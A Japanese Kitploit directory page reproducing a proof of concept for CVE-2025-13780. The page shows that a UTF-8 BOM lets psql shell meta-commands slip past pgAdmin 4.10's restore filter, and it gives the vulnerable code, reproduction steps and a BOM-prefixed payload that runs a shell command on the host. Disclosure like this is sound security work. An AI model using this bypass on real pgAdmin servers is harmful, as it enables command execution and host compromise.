Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
pgadmin4-9.10-CVE-2025-13780 — CVE-2025-13780の概念実証 | Kitploit
ツール/GitHubGitHub/zeropwn/pgadmin4-9.10-cve-2025-13780
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールペイロード開発
GitHubzeropwn/pgadmin4-9.10-cve-2025-13780

pgadmin4-9.10-CVE-2025-13780

CVE-2025-13780の概念実証

リポジトリを見る
14119ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

pgadmin4 < 9.11 メタコマンドフィルタのコマンド実行

概要

Issue 9320 の修正の一環として pgAdmin に導入された PLAIN リストアのメタコマンドフィルタは、SQL ファイルが UTF-8 バイトオーダーマーク(EF BB BF)やその他の特殊シーケンスで始まる場合、メタコマンドを検出しません。実装されたフィルタは、正規表現を使用して生のバイトをスキャンする関数 has_meta_commands() を使用します。この正規表現はバイトを無視可能なものとして扱わないため、! などのメタコマンドは検出されないままになります。pgAdmin が psql を --file 付きで呼び出すと、psql はバイトを除去してコマンドを実行します。これにより、リストア操作中にリモートコマンド実行が発生する可能性があります。

このバイパスは、コミット 1d397395f75320ca1d4ed5e9ca721c603415e836(https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836)で導入されたパッチに影響します。

影響を受けるバージョン

影響を確認済み:

  • pgAdmin 9.10 スナップショット
    コミット: 63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)

影響を受ける可能性が高い:

  • コミット 1d397395f75320ca1d4ed5e9ca721c603415e836 の修正済み has_meta_commands() を含むすべてのバージョン

回避策

  • 9.11 以降: プレーンリストアは psql の制限モード (\restrict) で実行されるため、メタコマンドは psql 自体によってブロックされます。
  • 9.10: フィルタバイパスに対して脆弱です。

詳細

場所:

  • web/pgadmin/tools/restore/__init__.py
  • 関数 has_meta_commands()

関連コード(修正版より):

root@kitploit:~
def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
    pattern = re.compile(br'(^|\n)[ \t]*\\')

    with open(path, "rb") as f:
        prev_tail = b""
        while chunk := f.read(chunk_size):
            data = prev_tail + chunk

            if pattern.search(data):
                return True

            prev_tail = data[-10:]

    return False

根本原因:

  1. SQL ファイルはバイナリモードで開かれます。
  2. 正規表現はバックスラッシュの前にあるスペースとタブのみを無視可能なものとして扱います。
  3. バックスラッシュの前に置かれた UTF-8 BOM(EF BB BF)または類似のシーケンスにより、検出が妨げられます。
  4. pgAdmin はファイルにメタコマンドが含まれていないと誤って判断します。
  5. psql は読み取り時に BOM を除去し、メタコマンドを通常どおり実行します。

期待される動作:

  • メタコマンドを含む SQL ファイルは、BOM の有無にかかわらずブロックされるべきです。

実際の動作:

  • BOM が前置されたメタコマンドはフィルタをバイパスし、実行が可能になります。

再現手順

ステップ 1: BOM とメタコマンドで始まる SQL ファイルを作成します。

root@kitploit:~
payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
    f.write(payload)

ステップ 2: BOM を確認します:

root@kitploit:~
xxd bypass_bom.sql | head -1

期待される出力:

root@kitploit:~
ef bb bf 5c 21 ...

ステップ 3: ファイルを pgAdmin ストレージに配置します:

root@kitploit:~
/var/lib/pgadmin/storage/<user>/bypass_bom.sql

ステップ 4: pgAdmin で: リストア -> フォーマット: PLAIN -> bypass_bom.sql を選択 -> 実行

ステップ 5: 実行を確認します:

root@kitploit:~
ls /tmp/bom_ran

BOM なしの対照ファイルは正しくブロックされます。

概念実証(PoC)

BOM 前置ペイロード:

root@kitploit:~
\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;

対照ペイロード:

root@kitploit:~
\\! echo SHOULD_BE_BLOCKED
SELECT 1;

影響

  • メタコマンドによるコマンド実行。
  • 任意のファイルの読み取り/書き込み。
  • pgAdmin ホストの完全な侵害。
  • 接続された PostgreSQL サーバーの侵害の可能性。
ツールをダウンロード